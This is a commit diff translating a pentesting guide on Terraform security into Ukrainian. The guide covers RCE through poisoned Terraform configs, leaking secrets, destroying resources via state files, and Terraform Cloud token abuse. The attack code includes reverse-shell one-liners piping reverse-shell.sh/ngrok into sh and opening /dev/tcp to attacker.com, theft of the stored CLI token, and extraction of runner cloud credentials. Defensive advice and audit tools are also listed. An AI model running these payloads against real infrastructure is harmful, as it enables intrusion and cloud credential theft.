Translated ['src/pentesting-ci-cd/terraform-security.md'] to uk

This commit is contained in:
Translator
2025-08-19 15:32:41 +00:00
parent 5e80c8f6f7
commit c4186643bd
+95 -14
View File
@@ -6,7 +6,7 @@
[З документації:](https://developer.hashicorp.com/terraform/intro)
HashiCorp Terraform — це **інструмент інфраструктури як коду**, який дозволяє визначати як **хмарні, так і локальні ресурси** у конфігураційних файлах, зрозумілих для людини, які можна версіювати, повторно використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислення, зберігання та мережеві ресурси, а також високорівневими компонентами, такими як DNS-записи та функції SaaS.
HashiCorp Terraform — це **інструмент інфраструктури як коду**, який дозволяє вам визначати як **хмарні, так і локальні ресурси** у конфігураційних файлах, що легко читаються, які ви можете версувати, повторно використовувати та ділитися. Потім ви можете використовувати послідовний робочий процес для розгортання та управління всією вашою інфраструктурою протягом її життєвого циклу. Terraform може керувати низькорівневими компонентами, такими як обчислювальні, сховищні та мережеві ресурси, а також високорівневими компонентами, такими як записи DNS та функції SaaS.
#### Як працює Terraform?
@@ -28,7 +28,7 @@ HashiCorp та спільнота Terraform вже написали **більш
Просто встановіть terraform на свій комп'ютер.
Ось у вас є [посібник](https://learn.hashicorp.com/tutorials/terraform/install-cli), а ось у вас є [найкращий спосіб завантажити terraform](https://www.terraform.io/downloads).
Ось у вас є [посібник](https://learn.hashicorp.com/tutorials/terraform/install-cli), а ось [найкращий спосіб завантажити terraform](https://www.terraform.io/downloads).
## RCE в Terraform: отруєння конфігураційного файлу
@@ -44,7 +44,7 @@ Terraform **не має платформи, що відкриває веб-ст
atlantis-security.md
{{#endref}}
Якщо ви зможете скомпрометувати файл terraform, існують різні способи виконати RCE, коли хтось виконує `terraform plan` або `terraform apply`.
Якщо ви зможете скомпрометувати файл terraform, існують різні способи, якими ви можете виконати RCE, коли хтось виконує `terraform plan` або `terraform apply`.
### Terraform plan
@@ -60,9 +60,9 @@ data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
```
**Використання користувацького провайдера**
**Використання кастомного провайдера**
Атакуючий може надіслати [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) до [Terraform Registry](https://registry.terraform.io/) і потім додати його до коду Terraform у функціональній гілці ([приклад звідси](https://alex.kaskaso.li/post/terraform-plan-rce)):
Атакуючий може надіслати [кастомний провайдер](https://learn.hashicorp.com/tutorials/terraform/provider-setup) до [Terraform Registry](https://registry.terraform.io/) і потім додати його до коду Terraform у функціональній гілці ([приклад звідси](https://alex.kaskaso.li/post/terraform-plan-rce)):
```javascript
terraform {
required_providers {
@@ -116,7 +116,7 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
## Витоки секретів
Ви можете **вивести секретні значення, які використовуються terraform**, запустивши `terraform apply`, додавши до файлу terraform щось на зразок:
Ви можете отримати **секретні значення, які використовуються terraform, вивантаживши** команду `terraform apply`, додавши до файлу terraform щось на зразок:
```json
output "dotoken" {
value = nonsensitive(var.do_token)
@@ -158,7 +158,7 @@ value = nonsensitive(var.do_token)
Існує 2 способи знищити ресурси:
1. **Вставте ресурс з випадковою назвою у файл стану, що вказує на реальний ресурс для знищення**
1. **Вставити ресурс з випадковою назвою у файл стану, що вказує на реальний ресурс для знищення**
Оскільки terraform побачить, що ресурс не повинен існувати, він його знищить (слідуючи за реальним ідентифікатором ресурсу). Приклад з попередньої сторінки:
```json
@@ -176,13 +176,13 @@ value = nonsensitive(var.do_token)
]
},
```
2. **Змініть ресурс так, щоб його не можна було оновити (щоб його видалили та відтворили)**
2. **Змініть ресурс для видалення таким чином, щоб його не можна було оновити (щоб його видалили і відтворили)**
Для EC2 інстансу зміна типу інстансу достатня для того, щоб terraform видалив і відтворив його.
### Замініть заблокований провайдер
У разі, якщо ви зіткнетеся з ситуацією, коли `hashicorp/external` був заблокований, ви можете повторно реалізувати провайдер `external`, виконавши наступні дії. Примітка: Ми використовуємо форк провайдера external, опублікований за адресою https://registry.terraform.io/providers/nazarewk/external/latest. Ви також можете опублікувати свій власний форк або повторну реалізацію.
У разі, якщо ви зіткнулися з ситуацією, коли `hashicorp/external` був заблокований, ви можете повторно реалізувати провайдер `external`, виконавши наступні дії. Примітка: Ми використовуємо форк провайдера external, опублікований за адресою https://registry.terraform.io/providers/nazarewk/external/latest. Ви також можете опублікувати свій власний форк або повторну реалізацію.
```terraform
terraform {
required_providers {
@@ -199,6 +199,79 @@ data "external" "example" {
program = ["sh", "-c", "whoami"]
}
```
## Terraform Cloud speculative plan RCE and credential exfiltration
Цей сценарій використовує виконавці Terraform Cloud (TFC) під час спекулятивних планів для переходу до цільового облікового запису в хмарі.
- Preconditions:
- Вкрасти токен Terraform Cloud з машини розробника. CLI зберігає токени у відкритому вигляді за адресою `~/.terraform.d/credentials.tfrc.json`.
- Токен повинен мати доступ до цільової організації/робочого простору та принаймні дозвіл `plan`. Робочі простори, що підтримуються VCS, блокують `apply` з CLI, але все ще дозволяють спекулятивні плани.
- Виявлення налаштувань робочого простору та VCS через API TFC:
```bash
export TF_TOKEN=<stolen_token>
curl -s -H "Authorization: Bearer $TF_TOKEN" \
https://app.terraform.io/api/v2/organizations/<org>/workspaces/<workspace> | jq
```
- Викликати виконання коду під час спекулятивного плану, використовуючи зовнішнє джерело даних та блок "cloud" Terraform Cloud для націлювання на робочий простір, підтримуваний VCS:
```hcl
terraform {
cloud {
organization = "acmecorp"
workspaces { name = "gcp-infra-prod" }
}
}
data "external" "exec" {
program = ["bash", "./rsync.sh"]
}
```
Приклад rsync.sh для отримання зворотного шеллу на TFC runner:
```bash
#!/usr/bin/env bash
bash -c 'exec bash -i >& /dev/tcp/attacker.com/19863 0>&1'
```
Запустіть спекулятивний план для виконання програми на епhemeral runner:
```bash
terraform init
terraform plan
```
- Перерахувати та ексфільтрувати ін'єковані облікові дані хмари з виконавця. Під час виконання TFC ін'єктує облікові дані провайдера через файли та змінні середовища:
```bash
env | grep -i gcp || true
env | grep -i aws || true
```
Очікувані файли в робочому каталозі виконавця:
- GCP:
- `tfc-google-application-credentials` (конфігурація JSON для федерації ідентичності робочого навантаження)
- `tfc-gcp-token` (токен доступу GCP з коротким терміном дії)
- AWS:
- `tfc-aws-shared-config` (конфігурація припущення ролі веб-ідентичності/OIDC)
- `tfc-aws-token` (токен з коротким терміном дії; деякі організації можуть використовувати статичні ключі)
- Використовуйте короткострокові облікові дані поза каналом, щоб обійти VCS ворота:
GCP (gcloud):
```bash
export GOOGLE_APPLICATION_CREDENTIALS=./tfc-google-application-credentials
gcloud auth login --cred-file="$GOOGLE_APPLICATION_CREDENTIALS"
gcloud config set project <PROJECT_ID>
```
AWS (AWS CLI):
```bash
export AWS_CONFIG_FILE=./tfc-aws-shared-config
export AWS_PROFILE=default
aws sts get-caller-identity
```
З цими обліковими даними зловмисники можуть створювати/модифікувати/знищувати ресурси безпосередньо, використовуючи рідні CLIs, обходячи робочі процеси на основі PR, які блокують `apply` через VCS.
- Оборонні рекомендації:
- Застосовуйте принцип найменших привілеїв для користувачів/команд TFC та токенів. Аудитуйте членство та уникайте надмірних власників.
- Обмежте дозвіл `plan` на чутливих робочих просторах, що підтримуються VCS, де це можливо.
- Застосовуйте списки дозволених постачальників/джерел даних за допомогою політик Sentinel, щоб блокувати `data "external"` або невідомих постачальників. Дивіться рекомендації HashiCorp щодо фільтрації постачальників.
- Вибирайте OIDC/WIF замість статичних облікових даних хмари; розглядайте виконавців як чутливі. Моніторте спекулятивні запуски планів та несподіваний вихід.
- Виявляйте ексфільтрацію артефактів облікових даних `tfc-*` та сповіщайте про підозріле використання програми `external` під час планів.
## Автоматизовані інструменти аудиту
### [**Snyk Infrastructure as Code (IaC)**](https://snyk.io/product/infrastructure-as-code-security/)
@@ -219,7 +292,7 @@ snyk iac test /path/to/terraform/code
```
### [Checkov](https://github.com/bridgecrewio/checkov) <a href="#install-checkov-from-pypi" id="install-checkov-from-pypi"></a>
**Checkov** це інструмент статичного аналізу коду для інфраструктури як коду (IaC), а також інструмент аналізу складу програмного забезпечення (SCA) для зображень та відкритих пакетів.
**Checkov** - це інструмент статичного аналізу коду для інфраструктури як коду (IaC), а також інструмент аналізу складу програмного забезпечення (SCA) для зображень та відкритих пакетів.
Він сканує хмарну інфраструктуру, що надається за допомогою [Terraform](https://terraform.io/), [Terraform plan](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Terraform%20Plan%20Scanning.md), [Cloudformation](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Cloudformation.md), [AWS SAM](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/AWS%20SAM.md), [Kubernetes](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kubernetes.md), [Helm charts](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Helm.md), [Kustomize](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Kustomize.md), [Dockerfile](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Dockerfile.md), [Serverless](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Serverless%20Framework.md), [Bicep](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Bicep.md), [OpenAPI](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/OpenAPI.md), [ARM Templates](https://github.com/bridgecrewio/checkov/blob/main/docs/7.Scan%20Examples/Azure%20ARM%20templates.md) або [OpenTofu](https://opentofu.org/) і виявляє проблеми з безпекою та відповідністю за допомогою сканування на основі графів.
@@ -250,7 +323,7 @@ terraform-compliance -f /path/to/folder
З [**документації**](https://github.com/aquasecurity/tfsec): tfsec використовує статичний аналіз вашого коду terraform для виявлення потенційних неправильних налаштувань.
- ☁️ Перевіряє на неправильні налаштування у всіх основних (і деяких незначних) хмарних провайдерів
- ☁️ Перевіряє неправильні налаштування у всіх основних (і деяких незначних) хмарних провайдерів
- ⛔ Сотні вбудованих правил
- 🪆 Сканує модулі (локальні та віддалені)
- ➕ Оцінює HCL вирази, а також літеральні значення
@@ -275,22 +348,30 @@ docker run -t -v $(pwd):/path checkmarx/kics:latest scan -p /path -o "/path/"
```
### [Terrascan](https://github.com/tenable/terrascan)
З [**документації**](https://github.com/tenable/terrascan): Terrascan - це статичний аналізатор коду для Інфраструктури як Коду. Terrascan дозволяє вам:
З [**документації**](https://github.com/tenable/terrascan): Terrascan - це статичний аналізатор коду для Інфраструктури як Код. Terrascan дозволяє вам:
- Безперешкодно сканувати інфраструктуру як код на наявність неправильних налаштувань.
- Моніторити надану хмарну інфраструктуру на предмет змін конфігурації, які можуть призвести до зміщення позиції, і дозволяє повернутися до безпечної позиції.
- Моніторити надану хмарну інфраструктуру на предмет змін конфігурації, які можуть призвести до зміщення позиції, та дозволяє повернутися до безпечної позиції.
- Виявляти вразливості безпеки та порушення відповідності.
- Зменшувати ризики перед наданням хмарної нативної інфраструктури.
- Пропонує гнучкість для локального запуску або інтеграції з вашим CI\CD.
```bash
brew install terrascan
```
## Посилання
## References
- [Atlantis Security](atlantis-security.md)
- [https://alex.kaskaso.li/post/terraform-plan-rce](https://alex.kaskaso.li/post/terraform-plan-rce)
- [https://developer.hashicorp.com/terraform/intro](https://developer.hashicorp.com/terraform/intro)
- [https://blog.plerion.com/hacking-terraform-state-privilege-escalation/](https://blog.plerion.com/hacking-terraform-state-privilege-escalation/)
- [https://github.com/offensive-actions/terraform-provider-statefile-rce](https://github.com/offensive-actions/terraform-provider-statefile-rce)
- [Terraform Cloud token abuse turns speculative plan into remote code execution](https://www.pentestpartners.com/security-blog/terraform-token-abuse-speculative-plan/)
- [Terraform Cloud permissions](https://developer.hashicorp.com/terraform/cloud-docs/users-teams-organizations/permissions)
- [Terraform Cloud API Show workspace](https://developer.hashicorp.com/terraform/cloud-docs/api-docs/workspaces#show-workspace)
- [AWS provider configuration](https://registry.terraform.io/providers/hashicorp/aws/latest/docs#provider-configuration)
- [AWS CLI OIDC role assumption](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html#cli-configure-role-oidc)
- [GCP provider Using Terraform Cloud](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference.html#using-terraform-cloud)
- [Terraform Sensitive variables](https://developer.hashicorp.com/terraform/tutorials/configuration-language/sensitive-variables)
- [Snyk Labs Gitflops: dangers of Terraform automation platforms](https://labs.snyk.io/resources/gitflops-dangers-of-terraform-automation-platforms/)
{{#include ../banners/hacktricks-training.md}}